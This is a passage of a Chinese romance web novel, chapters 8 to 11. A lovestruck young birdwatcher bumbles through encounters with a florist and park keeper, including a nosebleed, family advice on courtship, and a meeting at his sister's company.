魏丰羽放空地接过,指尖相触的瞬间,他触电般猛地缩回手,口罩掉在了地上。
“对、对不起!”他慌忙弯腰去捡,脑袋‘咚’地撞上了游临归的下巴。
“嘶——”游临归捂着下巴后退两步。
魏丰羽急得手足无措:“游哥你没事吧?我不是故意的!”
他伸手想碰又不敢碰。
游临归捂着下巴,看他慌张的神色,突然笑出声,下巴上的痛感也微微散了去:“你紧张什么,喷药又不是上战场。”
“我...”魏丰羽耳根发烫,胡乱把口罩往脸上套,结果戴反了,耳挂绳勒得耳朵生疼。
游临归摇摇头,这口罩确实正反有点像,他伸手帮他调整口罩,指尖轻轻擦过魏丰羽的耳廓:“这样才对。”
魏丰羽僵在原地,隔着薄薄的口罩,能感受到游临归呼吸时温热的气息。他盯着对方近在咫尺的睫毛,心跳快得像要冲出胸腔。
靠北,游哥皮肤好好,想摸。
他身上好香。
好香。
“你怎么又发呆了?”游临归在他面前晃了晃喷壶。
这小子怎么总愣神。
“我没发呆。”魏丰羽死鸭子嘴硬,他总不能说被游临归身上的味道熏晕了吧。
太丢脸了!
游临归也不揭穿,指了指光秃的葡萄藤盆栽:“那你学着我的动作,距离三十厘米左右,从上往下喷,从内往外。”
他一边说着一边动作,一盆葡萄完美地挂着液体。
“你试试。”游临归侧头看他,眉毛挑了挑示意道。
魏丰羽点点头,举着喷头还没滋出水花来,又放下了。
游临归:“?”
喷,喷完了?
“游哥,我喷完有奖励么?”魏丰羽问道。
游临归见他神态自若,一手拿着喷壶,另一只手还插在裤口袋里,甚至头上的墨镜也没摘下,那钻在阳光下更加亮眼。
是不是他听错了?
“你是说,你想要奖励?”游临归试探着问。
魏丰羽点了点头。
游临归回了一个礼貌且体面的微笑。
魏丰羽看起来不像是会缺少奖励与夸赞的样子。
“好吧,等会儿单独给你做个小菜,这样够吗?”
“嗯,还行。”他说。
游临归:“.....”
好像不是很行的样子呢。
游临归还想再提点什么,就见魏丰羽已经对着葡萄盆栽一顿乱喷,行云流水,还没反应过来,他已经把喷壶放到一旁的架子上。
游临归定眼一看,震惊得瞳孔微微放大。
这喷得竟然还不错?!
“你这喷的很好啊,”他由衷夸赞,“是不是也种过类似葡萄的植物呀,你是我见过上药最均匀的一位!”
魏丰羽擦了擦鼻子,故作高冷:“一般。”
游哥夸我,爽!
不过,什么叫一位?
原来自己不是第一个吗!
8. 第 8 章
游临归感觉和年长者待在一块久了,对身边的情绪感知都有些放缓。
比如现在,魏丰羽上一秒声音还带着窃喜,下一秒却又闷闷不乐了,甚至重新戴上了墨镜,看不透他眼中的想法。
还好喷药倒是没停下动作,两个大男人忙活十几分钟,十多盆葡萄就已经滴着蓝色的水珠子,像是医院的病人打吊针的点滴。
“你是不是没打上麻将很不高兴?”游临归问道。
“不是。”魏丰羽言简意赅。
他现在很烦,有点手足无措,想和游临归再拉近点距离却不知从何开始。
有没有谁能把他打晕,醒来就已经和游哥躺一张床上依偎睡觉了?
游临归摸不着头脑,线上线下的魏丰羽简直就是两个人格,但他没太多思量,权当是第一次经历陌生的活动而感到束手束脚。
于是他拍了拍魏丰羽的肩膀,安慰道:“不用太拘束,阿姨叔叔们都很热情的。我猜现在小元姐应该尽兴了,你要是真想玩麻将就去。”
又麻将?
魏丰羽哼了一声,插着兜走进别墅,他才没想打麻将,只是不想被看扁。
游临归歪了歪头,他的目光又落到那些葡萄盆栽,回想刚刚魏丰羽冷酷地给葡萄藤上药,颇有点违和又有点好笑。
模模糊糊间又幻视大学时期他和魏丰锐做小组作业那会儿给一颗果树浇水,那人也是这般冷面,却没说半句怨言。
有点好玩啊,他哼出笑意。
魏丰羽进到别墅就找了个角落的小沙发坐下来刷手机,非常正经地把自己的需求发到群里,想要粉丝给点意见或者法子,好能让他与游哥的关系再进一步。
【观鸟人间体:怎么让喜欢的人注意到我?】
【羽哥,先搞清楚对方性取向啊!】
【这年头谁还信一见钟情,除非那人是天仙下凡】
魏丰羽烦闷地玩弄身上的项链,他也觉得很离谱。
没见到游临归前,他一直觉得‘一见钟情’就是‘见色起意’文艺版,嘲讽狐朋狗友见到个美女去屁颠屁颠上去要微信。
截止到目前,他只心动过两回。
第一次是刚大一那会儿,见到了一个清瘦的背影,栗色蓬松的顺毛,穿的虽然是最简单的白衬衫和西装裤,但出挑的气质还是让他移不开眼。
只可惜,那会儿自己是个胆小鬼。再后来,校园内就再也没碰上。
不过他后面很快就忘了,朋友提起时也只是嘴硬对美的欣赏罢了,谈不上心动。
第二回就是他的第一次观鸟,毫不犹豫地说,魏丰羽早就注意到了游临归。
即使他离的很远,却能清晰看见草帽檐在游临归脸上投下浅灰的阴影,汗湿的白T贴在清瘦的脊背上,透出肩胛骨的轮廓。
魏丰羽的视线从蹦迪的虎皮鹦鹉,一直放大,放大,框住了最动人的瞬间,游临归一眸一笑,都像是挑拨他的心弦。
这是一种难以言说的美,像是毒烈的太阳将他的喉咙晒得冒烟时,冰镇清凉的柠檬水如雪中送炭般突然浸润心脾,令他疯狂爱上,甘之如饴,彻底沦陷。
魏丰羽承认他是见色起意,但是和游临归相处下来,谁能不爱上他呢?
情感就是如此复杂。
【羽哥,要不试着戒断吧。见色起意所带来的后遗症很容易散去的。】
“小羽,要不要来打麻将噻?”
信息的震动与小元姐的呼唤不约而同响起,将魏丰羽拉回现实。
他快速地看了看附近。
游临归正在开放式厨房里准备食材,魏丰羽抬手拒绝想去帮忙,却被几个起哄的叔叔拦了下来,只好坐在麻将桌上。
麻将牌哗啦倾倒在自动麻将机上,小元姐伸手按下启动键,机械齿轮转动声混着清脆的洗牌声骤然响起。
魏丰羽微微出神,余光瞥到游临归的背影。
他今天穿了一件白色的T恤,阳光顺着旁边的百叶窗射进来,照得他整个人愈发透明。
透过光线,魏丰羽能清楚地看见盈盈可握的腰肢,随着他切菜的幅度一晃一晃。
好白...
呃,这个T恤好白。
鼻腔里突然涌上一股温热的湿意,像有根毛细血管在太阳穴突突跳动。
“啪嗒——”
一滴滚烫的液体落在大理石地板上,晕开一小团猩红,他下意识用手背去擦,指腹却蹭到一片黏腻的温热。
靠!
“噢哟,小羽你流鼻血啦!!”一旁的阿姨瞧见连忙站起身来,从茶几上抽出几张纸巾递过去。
游临归听到动静赶紧放下手中的刀具,他快步走到麻将桌旁,就看见魏丰羽仰着脖子靠在椅背上,指缝间渗出血珠。
“别仰头,会流进喉咙里的呀!”他微微俯身,指尖还沾着水,按住魏丰羽鼻翼两侧,“是不是最近太上火了?叔!搭把手帮我去把冰箱下层的冰袋拿过来!”
近在咫尺的呼吸伴随橙花香味,魏丰羽近得可以看清楚游临归右眼尾那颗泪痣和细腻的毛孔,他所有的感官好像都附着在对方指尖的温度上,连纸巾擦过脸颊的粗糙感都如此震耳欲聋。
好像流得更猛了,魏丰羽晕乎乎地想,他会不会成为第一个流鼻血去世的人?
好丢脸!
游临归看着纸巾迅速被染红,连忙抬高魏丰羽的下巴调整角度,接过冰袋,先是擦过对方的前额,鼻根,最后用毛巾包裹垫在后颈部。
魏丰羽猛地一颤,凉意顺着脊椎爬上去,脸蛋的滚烫微微发散。
游临归稍微松了松卡在他鼻翼的手,见血好像没再流了,松了口气。
“你最近有没有头晕?”
按道理来说,中暑那天距离现在已经过了好几天,这边湿地空气含水度本来就高,应该不会有这种症状。
“没头晕....”魏丰羽的声音闷在纸巾后面。
“那就好。”游临归收回手,拖着他坐在沙发上,“你脖子后面的冰袋自己压着哈,要是有不舒服一定要跟我说。”
魏丰羽咕哝:“可能是..没休息好。”
他的声音很小,但此刻二人贴的很近,游临归还是不可避免地听到了。
“没休息好?那你要不要上去睡一会儿。”
“我可以和你一起睡吗?”他说。
“
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啊?”游临归被魏丰羽的话惊得瞳孔微微放大,怕自己听错,又重新确认了一遍,“你,你要和我一起睡觉?”
还有他的事情啊?
“嗯,嗯?”魏丰羽后知后觉地反应过来自己说了什么,耳尖 “腾” 地红透,支支吾吾,急中生智,“游,游哥,我把你当成我哥了!我不是要和你睡觉,我是想和我哥睡觉。呸,我是说,我想睡觉。对,我想睡觉!”
魏丰羽越描越黑,最后羞耻得把挂在裤袋上的墨镜往脸上一扣,撇着个嘴,侧着身子,蜷在角落,不再说话。
游临归看着他这幅鸵鸟模样,喉间忍不住溢出声轻笑。
“二楼第二间客房有加湿器,我带你去?”
“不去。”魏丰羽闷声拒绝,声音从指缝里里稀碎漏出,“丢死人了....”
“丢什么人呀,”游临归安慰地拍拍他的大腿,“兄弟情难得可贵,只不过我没想到你们感情好得出乎意料。”
作为独生子的他,唯一能体会到有弟弟妹妹的痛苦与快乐估计是附近的小学集体出游的时候。
游临归的手掌隔着牛仔裤传来温度,魏丰羽的肌肉瞬间绷紧,连带着沙发都发出细微的吱呀声。
说话就说话,为什么要摸他大腿?
魏丰羽默不作声地把腿收了收,说:“游哥,别打趣我,你去忙你的,我要一个人静静。”
“好吧,那你真的不要睡会儿?”
“不要。”
“行,”游临归站起身,“等下吃饭我叫你,冰袋再捂捂,别急着拿下来。”
“嗯。”
他喉间哼出声,微微抬了抬墨镜,见游临归身影逐渐远去,周围的叔叔阿姨打牌的打牌,搓麻将的搓麻将,唠嗑的唠嗑,仿佛刚刚的插曲没发生过。
魏丰羽松了口气,摸出手机,愤恨地打字。
【观鸟人间体:你们不知道我刚刚经历了什么。】
【被小鸟送洗手液了?】
【摔了个狗啃泥?】
【观鸟人间体:你们能盼着点我好吗?我流鼻血了。】
【就这.jpg】
【羽哥你还记得你说自己大学那会儿观鸟差点摔进小池塘里吗,不如这个。】
【难道是和美人发生了什么不可言说的事情/色/色】
【观鸟人间体:闭嘴!】
【观鸟人间体:我是一个十分正直的人。】
【正直的人流鼻血了,不好说。】
【羽哥的正直有自己的一套词典。】
【人才。】
“叽叽咕,你好!你好!”
小羽毛不知什么时候飞到他坐着的沙发上扶手上,一边学舌一边扇着翅膀,伸长脖子啄魏丰羽墨镜上的钻石。
“我不好。”魏丰羽抬手想把小羽毛赶走,指尖却被它轻轻啄了一下,痒意顺着指骨爬上来。
小羽毛嘴里歪着头看他:“爸爸!爸爸!”
魏丰羽慌忙地看看周围,想要捂住它的嘴,却怕没有因为养鸟的经验把小羽毛弄伤,只好压着声音:“嘘,嘘,嘘!!刚刚让你喊我爸你不喊,现在喊!”
他现在多狼狈啊!
9. 第 9 章
游临归摆好果盘从厨房出来,就看到魏丰羽和小羽毛一鸟一人正在玩耍。
墨镜被他摘下来放在扶手上,小羽毛好奇地歪着头看一眼墨镜,再看一眼人,‘几咕噜’叫两声,小爪子踏在扶手上走两步,挑了个舒服的位子继续啄钻石。
“给你切了点水果,”游临归装模作样地看向热闹的一边,“快吃快吃,这个苹果是我最喜欢的,平时是不拿出来的。”
游临归将果盘往茶几中央推了推。
最喜欢的?
魏丰羽顿时不扭捏了,那苹果块浸在蜂蜜水里,肉色清亮,他叉起一块扔进嘴里,牙齿相碰的瞬间,清甜的汁水在口腔里爆开,带着一丝恰到好处的酸,细细品味这酸还混了点蜂蜜的甜。
“一般。”
魏丰羽又迅速叉起一块,两块,三块....
游临归:“.....”
你的动作好像不是一般的样子。
他轻笑一声,好像有点摸索出魏丰羽的性子了。
傲娇又很直接。
咋一听还挺矛盾的,但是放在魏丰羽身上,游临归感觉异常诡异得可爱。
——
也许是突如其来的‘意外’,导致本来轻松舒缓的放松日时间变得格外飞快。
游临归自知今天把太多时间放在魏丰羽身上,没能很好的招待其他人,于是退了一半的钱给其他的客人。
“今天招待不周,是我的问题,下次请你们免费来。”游临归微微鞠躬表示歉意,笑着目送他们离开。
他侧身看了看靠在门框的魏丰羽,墨镜不知道什么时候又戴了回去,露出棱角分明的侧脸,微低着头噼里啪啦打着字。
嗯,如果单看脸的话,游临归不得不承认,魏丰羽真的挺帅气的。
和他哥大学时候的氛围帅不是一种类型,而是带着少年感的硬帅,挑不出任何毛病。
一般人穿金戴银会显得土气臃肿,但在魏丰羽身上完全不会。反而是锦上添花,多了几分贵公子的气质。
前提是得忽略他潮得风湿的穿搭。
“你哥什么时候来接你?”游临归说。
魏丰羽插着兜,微微屈着右腿膝盖,听到他的话站直了身体,收回手机。
“不知道。”
这个时间点,他哥应该刚下班。
可是他刚为了留下来和游临归多待一会儿,让魏丰锐干脆编个理由别来接他。
这样就能顺理成章又住一晚上,还能和游哥聊聊天拉近距离。
就是不知道他哥能不能看到短信。
“嘟嘟——嘟嘟——”
游临归拿起手机一看,是魏丰锐。
一接通,魏丰锐冷淡的声音从扩音筒里传出:“让魏丰羽接电话。”
游临归笑着把手机给魏丰羽。
魏丰羽接过手机,有种不祥的预感从脊背传来,他按了按侧边的音量键,往远处站了站。
“是我。”
“魏丰羽你个傻/比,留你口口的宿,编你口口的理由,给你转一百块钱,现在立马给我打车回来,晚上见不到你的毛在家,你等着!”
魏丰羽手一抖,慌乱地捂住手机听筒,看了一眼不远处的游临归,似乎感受到他的视线,对他偏头柔柔一笑。
“哥,你听我解——”
“解你个头,赶紧滚回来!”
噔的一声,通话被挂断,跳转回微信对话框,游临归和魏丰羽锐的聊天停留在两年前的七月份。
【小锐:临归,恭喜你保研。】
【小锐:不会还在因为那件事生我气?对不起,你什么时候有空我请你吃饭?】
【归临游:谢谢。过去那么久了怎么可能还生你的气,最近有点忙,先不吃了。】
那件事?
哪件事?
这件事他能知道吗?
不对。
魏丰羽闭了闭眼,发誓他绝对不是故意要看到的。
“你哥说什么了?”游临归接过手机,息屏放进口袋。
“没说什么,让我早点回去。”
游临归皱了皱眉毛:“他不来接你?”
负责送弟不负责接弟,这是不是有点不负责任。
魏丰羽摇摇头,点开滴滴打车小程序。
“他让我打车回去。”
接近下班点,又是景区附近,很快就有司机接单。
【司机将在两分钟后赶来。】
游临归抿抿唇,要不是他晚上还有工作要完成,那句‘我送你回去吧’的话就要脱口而出。
不过游临归又想了想,他送魏丰羽回去估计也是开‘小绵羊’,他的驾驶证已经过期好几个月了,若是路上遇到交警估计还得吃罚单,况且他的车技确实不太行。
“那你打到车了吗?”
“打到了。”魏丰羽看了一眼手机,只是聊几句天的功夫那辆滴滴已经停在目的点,他将手机磨磨蹭蹭收进裤袋,嘟嘟囔囔,“车,车来了。”
“这么快呀。”游临归微微抬头望着他,“那你快去,我们下次见。”
夕阳的余晖将天际线晕染成渐变的暖色,橙黄到酡红,松软的云朵也沾了点风光,绚丽的绯色看起来格外可口。
热风悄悄抚过,带起游临归的发丝,几缕粉白的碎发贴在额角。
魏丰羽愣愣地摘下墨镜,他柔情似水的眸子里倒映他的痴迷。
可口...
“下次见,是什么时候?”魏丰羽喃喃道。
每天都来万林湿地公园观鸟的话,可以每天见到吗?
“也许是明天?”
游临归也不确定。
万林湿地公园很大,光是划分就有东南西北四个区域,甚至两个入口两个出口。
更别提游临归自己作为园林管理员,绕着偌大的公园跑东跑西。
即便是在同一个地方,都有很大几率擦肩而过。
“只要你来的话,给我发个消息,我要是有空就来找你。”他又补充了一句。
魏丰羽没回应,又把墨镜戴回脸上,说了一句‘嗯’便转身离开。
夕阳把他的影子拉的很长,游临归望着他离去的背影,莫名感受到一种落寞。
为什么呢。
游临归突然萌发出想要了解魏丰羽的兴致。
送走魏丰羽,游临归收拾了一下别墅内的残局。小羽毛也叼着纸巾放到茶几上,用一只爪子踩着纸巾,另一只爪子作为驱动,拖着纸巾在桌面滑动。
心肠倒是热心,但帮不上什么忙,反而更加滑稽,逗得游临归捧腹大笑。
“算啦,小羽毛,自己玩去吧。”游临归抽出他脚底下的纸巾。
小羽毛几咕噜又是叫了几声,没离开,在玻璃面上踏着正步。游临归收拾到哪,它就飞到附近,找个舒服且能融进游临归视线里的位子乱七八糟地走着。
游临归摸了摸它的脑袋,每次农家乐过后小羽毛总是会做出这样的行为,他至今也没明白究竟是为什么。
夜幕降临,游临归洗完澡有点口渴,擦着发丝到客厅打水。
整个别墅只有他的房间亮了灯,他走到楼梯间,看着空荡荡且黑暗的客厅,忽的也生出一种莫名的落寞。
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游临归握着玻璃杯的手指紧了紧。
“爸爸!爸爸!”小羽毛扑棱着翅膀从房间飞出来,精准落在他的肩头。
游临归愣了愣神,脑海里竟想起魏丰羽离开时的背影。
好像有点明白了,他想。
是热闹之后的散场,格外孤独。
——
魏丰羽回到家,映入眼帘的就是‘两尊大佛’。
相似的动作,相似的外貌,堪称性转后对方。
听到玄关处的声音,魏丰琳合上手中的文件放在一旁,眼神犀利地看向魏丰羽。
“回来了?”
“嗯。”魏丰羽淡淡地回应道。
魏丰琳:“听你哥说,你要追人?”
“是,已经在追了。”
“你别怪我今天狠心把你叫回来,游临归那人不喜欢欺骗,你能做第一次这事,就有第二次。”魏丰锐喝了一口茶水,见缝插针,“追就认真脚踏实地追,搞歪门邪道的东西行不得。”
“这话轮到你说?”魏丰羽讥笑道,一屁股陷进沙发里,“你二十六岁没谈过恋爱的工作狂还是闭嘴算了。”
他身子往魏丰琳那靠了靠,小心翼翼问道:“姐,你好不容易回一次家,不如传授传授点?姐夫怎么追上你的?”
魏丰琳勾起唇角,笑得渗人:“顺其自然。”
“就,就这?”
他姐和姐夫相爱那会儿不是腥风血雨的吗,就简单四个字概括了?
魏丰羽不信,追问道:“姐,你就透露一点嘛,这可关乎到你弟的人生大事!”
魏丰锐噗嗤一笑:“你不如来谄媚我,魏丰琳哪懂什么叫追人,她都是被追的。”
魏丰琳一记眼刀飞了过去,柔柔地摸了摸魏丰羽的头发。
“真诚是永远的必杀技。”
真诚?魏丰羽提溜眼珠子一转,寻思着他还不够真诚吗?
他真诚得都流鼻血了。
魏丰羽撇撇嘴,又坐了回去。
“临归就是很慢热的性格,做什么事情都是不紧不慢的,感情也是。不能急于求成,要温水煮青蛙...”魏丰锐语重心长。
魏丰羽看了眼魏丰锐:“大概要煮多久?”
“一两年吧。”
一、两年?
魏丰羽差点从沙发上弹起来。
“哥,你果然没谈过恋爱,说得谈恋爱跟种树一样。”
魏丰锐慢条斯理地续上茶水:“是啊,我就是这么过来的。”
“你和游哥谈过?”魏丰羽敏锐捕捉到细节,那件事不会说的就是这件事吧?
靠北!
魏丰锐手一顿,轻笑:“我可是直男,纯友谊!”
魏丰羽不疑有他,没继续深问下去。而且没记错的话他哥确实有固定女性床/伴来着。
现在最主要的是能了解到有关游哥的事情才能对症下药,从魏丰锐那得到的信息太过片面,游哥又不愿意主动和他倾诉...
有什么办法可以再了解多一点...
“魏丰琳,最近又到毕业季了,学校论坛又热了。”魏丰锐刷着手机说道。
“没兴趣。”魏丰琳头也不抬,“这个月的分公司的财务报表还没提交过来,你手下的人都干什么吃的?”
论坛?
对哦,游哥是淮元大学毕业的,现在淮元大学的官网还挂着游临归的白底证件照当做‘优秀毕业生’的典范。
更别说淮元大学校论坛了,肯定会有游临归的痕迹。
魏丰羽当机立断:“哥!你把你的论坛账号借我!”
10. 第 10 章
两天后。
游临归处理完外包的‘花卉任务’后,拿起放在一旁的手机看了看。
没有消息...
他和魏丰羽的聊天记录停留在两天前的周末,按照第一次聊天时,询问他是否安全到家。
“哎。”
游临归伸了个懒腰,决心把莫名其妙的失落甩至脑后。
“咚咚——”
他立马拿起手机,看到消息那一刻直挺的肩膀耸拉下来,是李叔的消息,问他打算什么时候出发过来。
【归临游:现在出发。】
花店距离景区不算特别远,游临归背上一个斜挎包,带好头盔,骑着''小绵羊''驰行二十分钟后,便稳稳停在花店面前。
和普通的花店大同小异,门口摆放着各种颜色、各种类型的花朵,花盆从门口一直延伸到门内,望不到尽头。
唯一的区别,大概是这门口的花每日一换,却香得腻人,总是招惹蜜蜂。
“李叔,”游临归走进花店,只见到一位微胖的女士摆弄着陶盆里的洋桔梗,“婶子,好久不见。”
李婶擦了擦额角的汗水,摘下手套,笑脸盈盈招呼游临归,已然看不出两年前是个中度抑郁症患者。
“临归来啦?坐,”李婶拉着他的臂膀将他往前台的小圆凳上一按,声音嘹亮向后方叫喊,“欧哥哥!临归来了,快点把剩下材料放车上!”
“来咯来咯!”李叔拿着一个帆布袋子,装住一些七七八八的工具,往停在花店门口的面包车后尾箱一放,擦着手回来。
李叔拿了个塑料杯打了温水放在游临归面前,淳朴一笑:“临归,真是青出于蓝而胜于蓝啊,你那几个插花的方案还有那草图,啧啧啧,太绝了!比风岱还要行!”
游临归道谢后接过塑料杯,谦虚道:“李叔,您太抬举我了,我还嫩着呢。”
“你看你看,谦虚吧,我就稀罕你这性子,”李叔说,也给自己打了杯水一饮而尽,对着李婶感叹,“真不知道风岱那疯小子怎么能养出这么文静的儿子,啧啧啧,稀奇。”
“就你会在背后蛐蛐,”李婶拍了他的肩膀,叫他注意点,别在人家儿子面前说个不是,“时间差不多了,人还等着花呢,插花也要时间,别聊天耽误临归吃午饭。”
游临归看着李欧两口子互动,也跟着附和一句:“婶子,我小爸的性格我都懂的,不怪李叔。”
“也得是小卢够沉稳,不然你指定被风岱给带成小疯子,”李婶怜爱地捏了捏游临归的脸蛋,“赶紧出发吧,别让人等。魏女士的助理说他们公司最讲究时辰了。”
“哎,这就走!”李叔应声,拿起车钥匙,又对游临归说,“临归,材料我都放车上了,插花用的主花和配叶保温箱里,保证新鲜!”
“辛苦李叔了。”游临归乖巧地跟在他身后。
—
魏丰羽顶着一头被自己揉得乱糟糟的头发,烦躁地从办公椅站起来,在宽敞的办公室里来回渡步。
这两天可真是忙死他了!
魏丰琳简直不是人!
出差就出差吧,非得把一大堆无关紧要的文件塞给他,美名其曰‘锻炼’,还特意嘱咐一定要亲自去确认新会议室的花艺布置效果,说是什么关乎重要合作方第一印象。
魏丰羽纳闷了,他实习那会儿为了混证明历练的还不够多吗?
“花!花!花!有什么好看的?不如在会议室养鸟!”他对着空气抱怨,扯了扯自己的黑西外套。
他的终身大事都没处理完!
为了能更加全面了解游临归,魏丰羽可所谓把校论坛从内到外扒了个底朝天,甚至找了学代码的狐朋狗友写了个脚本去抓取关键词,熬得和熊猫一样。
论坛里关于游临归的信息不算太多,但零零碎碎拼凑起来,能画出一个品学兼优、喜欢园艺的学长形象。
他还翻到不少游临归大学时期参加社团活动、比赛的照片,虽然很模糊,但依稀能从轮廓看出来大学时代的游哥和现在没什么变化。
唯一的变化可能是大学时期的游哥是栗色顺毛,显得十分乖巧可爱。
魏丰羽将那些照片都裁剪保留了游临归一个人,建了一个私密的相册存放在里面。
看文件看累的时候拿出来欣赏一下,打打鸡血。
虽然没查到游哥和他哥聊天记录里说的‘那件事’,但总归这一番‘查阅’也不算毫无收获。
“滴滴——”
魏丰羽正欣赏着照片,内线电话响起,他不耐烦地拿起听筒:“怎么?”
助理说:“预约的花艺师到了,已经开始在会议室布置。”
“知道了知道了!”魏丰羽没好气地挂断。
花艺师....他又不懂插花,非得要看着吗?
但一想到魏丰琳那冻死人的眼神...
魏丰羽打了个寒颤,认命地拿起那份今早才接到的‘花艺方案''夹在腋窝下,插着兜低压压地推开会议室的门。
他带着满身的反骨,烦躁地说:“喂,你就是那个花艺师——”
说话声戛然而止。
巨大的落地窗外是湛蓝的天际线,会议室内没有开灯,有些昏沉,那人背对着门口,穿了一件简单的棉质T恤,微微低着头,露出一截白暂的后颈。
粉色卷毛异常显眼。
我靠!
魏丰羽心里嚎叫,这不是游临归还能是谁?!
游临归坐在一张真皮办公椅上,面前立着一个浅绿色直筒状陶瓷花瓶,工具依次摊开在会议桌。
听到开门的动静和突然中断的不礼貌问候,皱着眉缓缓转过身来。
四目相对。
时间仿佛在这一刻凝固。
“小羽?”
“游,游哥?!”魏丰羽的声音都劈了叉,腋窝夹着的那份方案‘啪嗒’掉在地板上。
他脸上的烦躁、不耐和熬夜后的疲惫被一种极致的惊愕冲刷得一干二净。
游临归也愣住了,他没想到会在这遇见魏丰羽。
不是...这公司...
他脑海突然回想起李婶嘴里说的‘魏女士’。
原来是魏丰羽的母亲?!
这也太巧合了,这世界也太小了。
会议室里一片死寂,只有中央空调出风口发出细微的嗡鸣。
“你别呆站着,过来坐。”游
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临归率先缓过神来,将手里的菖蒲叶放在桌上,招呼他过来。
“呃,好。”
魏丰羽僵硬地蹲下身捡起文件,只是几步的距离却呆板到同手同脚。
他姐让他来监督的花艺师,居然是游哥!!
这简直太荒谬了!
他刚刚也太大意了,怎么就被游哥看到不好的一面,他会不会觉得我是一个纨绔无理的人?
荒谬荒谬荒谬!!
怎么没人提前和他说啊?!
“没想到这个大公司,是你家的企业。”游临归重新拿起菖蒲叶,用剪刀将根部剪掉,撕成一根一根。
“呃,这是我姐的公司,她出差了,我只是代理几天。”魏丰羽窘迫地把方案文件放在桌上。
“这样啊...”
游临归若有所思点点头,拿起一旁的竹签,用剪刀剪开尾端,将撕好的菖蒲叶片握在一起,卡在裂口处最里面。
“这是在干什么?”魏丰羽指了指游临归的动作,虚心请教。
根据论坛的捕捉到的信息,游哥喜欢好学的人。
某个讨论帖里,一个学妹就是因为虚心请教了扦插技巧,被游哥耐心指导了半小时,还交换了联系方式。
游临归侧头看了一眼魏丰羽,今天的他一改平日的风格,荷叶边V领的白色衬衫搭配偏短款的黑西外套,耳钉是带流苏的银色十字架,更加凸显贵气。
只不过魏丰羽努力放大,试图表现出浓厚兴趣的眼睛,倒是有些可爱。
游临归轻笑,耐心解释道:“在给菖蒲叶做支撑和塑型,你看,这叶子本身比较软,容易倒伏或者形态不够挺拔,这样将它卡在间隙里,就能按照我想要的角度和姿态立起来,让造型更加美观。”
“噢,厉害。”魏丰羽立刻捧场,身体也不自觉地往前倾了倾,试图看得更加仔细,他努力回想论坛里提到的专业术语,憋出一句,“这,这是那个‘架构支撑法’?”
游临归闻言,很是意外:“你知道呀?这确实是架构支撑法在花艺中的应用。看来你平时不只是观鸟,还喜欢看插花。”
“呃,对,对啊,只是偶尔看看,”魏丰羽心里咯噔一下,嘴硬回应,又怕游临归再问点什么专业性的问题,有些慌张地指着桌放在透明保温箱的花材,转移话题,“这些花都要用上吗?”
“不一定。”
游临归想了下,他呈递的方案里有很多设计,但一来到会议室看了看这的布局,不太能将所有的方案都用上。
单株的石斛兰被游临归从保温箱里拿出,黄绿色的花朵配上翠绿的树叶更显雅致,他插在剩下的空隙里,第一个插花便完成了。
整体简约不失单调,菖蒲叶清新的草本香中和石斛兰浓郁的味道,摆在会议桌的正中央不仅散香还能驱蚊。
“好厉害!”魏丰羽发自肺腑,脱口而出。
他盯着那个简单的花艺作品,菖蒲叶像一把把小剑般挺拔舒展,石斛兰优雅垂首,明明只是几株植物,却在游临归手里变成了有生命力的艺术品。
魏丰羽不由地想到大学时期的那节讲‘中式美学’的选修课,‘清、雅、素''在此刻有了具象化。
11. 第 11 章
游临归陆续拿了几个圆口小花瓶,修长的手指在花材间灵活穿梭。
他先取了三支淡紫色的洋桔梗,斜剪茎部后插入左侧瓶中,又选了两枝白色小苍兰点缀其间。
动作行云流水,像是做过千百遍一般娴熟。
魏丰羽站在一旁,眼睛一眨不眨地盯着那双在花叶间飞舞的手。
游临归的指尖沾上了露水,看得他有点口干舌燥,喉结不自觉地滚动了一下。
这双手...如果攀附在他的身体上...
指尖带着凉意,轻轻划过他的锁骨,顺着肌肤的纹理滑下,指节微屈,没入他的发间,力道不轻不重地摩挲着他的头皮,让他不自觉地仰起脖颈,掌心的薄茧蹭过他的腰侧...
靠。
要命!
“怎么样?”游临归突然开口道。
魏丰羽想得入神,听到温润的声音才如梦初醒般‘啊’了一声。
游临归又重复了一次,指了指已经完成的第一个插花组合:“你觉得如何呀?”
“呃,这么快?”魏丰羽轻咳一声,凑近看了看,淡雅的配色与错落有致的造型,与会议室简约现代的风格相得益彰。
他手忙脚乱地翻开那份花艺方案文件,对着草图与实物来回看了几遍,惊讶地发现几乎一模一样。
“游哥,你好厉害,该不会先做了一遍对着画的草图吧?”
游临归用湿纸巾擦拭剪刀,闻言露出一种‘你怎么能说这种话’的神情,哼了一声。
“当然不是了,”他指了指太阳穴,“都在我的脑子里存着呢,做多了就有感觉了,何必大费周章。”
若不是接手了小爸的工作,游临归高低在花艺事业创出一片天地来。
“哦...”
魏丰羽愣愣道,他发觉自己好像在玩一款日常解锁攻略游戏。每发生一个事件,就能解锁一个有关游临归的资料卡来。
——
游临归本身插花讲究得就是一个‘随心’,加之又有既定的方案,这次的外包任务做得也不算太久。
只是多了一个小意外,比如有只很喜欢碎碎念的‘小狗’在一旁时不时犬吠几声,充当气氛组。
虽然比预期时间要晚了些,但过程倒是多了点乐趣。
“游哥。”魏丰羽喊道。
“嗯?”
游临归刚回复完李欧叔自己这边已经完成,放下手机收拾东西,闻言头也不抬回应一声。
魏丰羽咕哝着嘴唇,犹豫着要怎么开口。
“怎么了?”游临归迟迟没听到动静,抬了眼看他。
“你会不会觉得我刚进门那会儿有点那个。”他说。
“哪个?”
魏丰羽深吸了口气,说:“就是有点嚣张跋扈,有点讨人厌。”
游临归皱了皱眉回忆着,魏丰羽说的是刚刚进门那会儿吗?他确实有点不高兴,但看到来人那一刻就只剩下诧异和惊喜了。
“嚣张跋扈?”游临归轻笑,“还不到那种程度啦。”
魏丰羽眼睛亮了点光,追问道:“那你会讨厌我吗?”
“讨厌?我为什么要讨厌你?”游临归感觉他莫名其妙,“就只是因为你进门的时候那种行为和对我说的那种话吗?”
可是魏丰羽那句话不是还没说完嘛。
“嗯。”他小心翼翼道。
游临归觉得好笑,现在的魏丰羽看起来和做错事为了求原谅而抬爪子的小狗别无二致。
“这有什么。”他凑近魏丰羽,伸长手臂揉了揉他的头发,“你有点少爷脾气很正常吧。而且啊,通过刚刚的聊天,是被姐姐临时喊过来上班的吧?要是我突然休息得好好的也被叫来上班,我想我的脸应该比你刚进门那会儿还要臭。”
魏丰羽一把抓住游临归作乱的手,顺便还钳住他另一只手,牢牢放在他裤侧两边,看起来像个练军姿的新兵蛋子才缓缓松开手,不好意思地挠挠脸颊。
“可是...我怕在你心里留下不好的印象。”
人还没追到呢,印象就差了一大半,这不是把自己往‘追夫火葬场’里送吗!
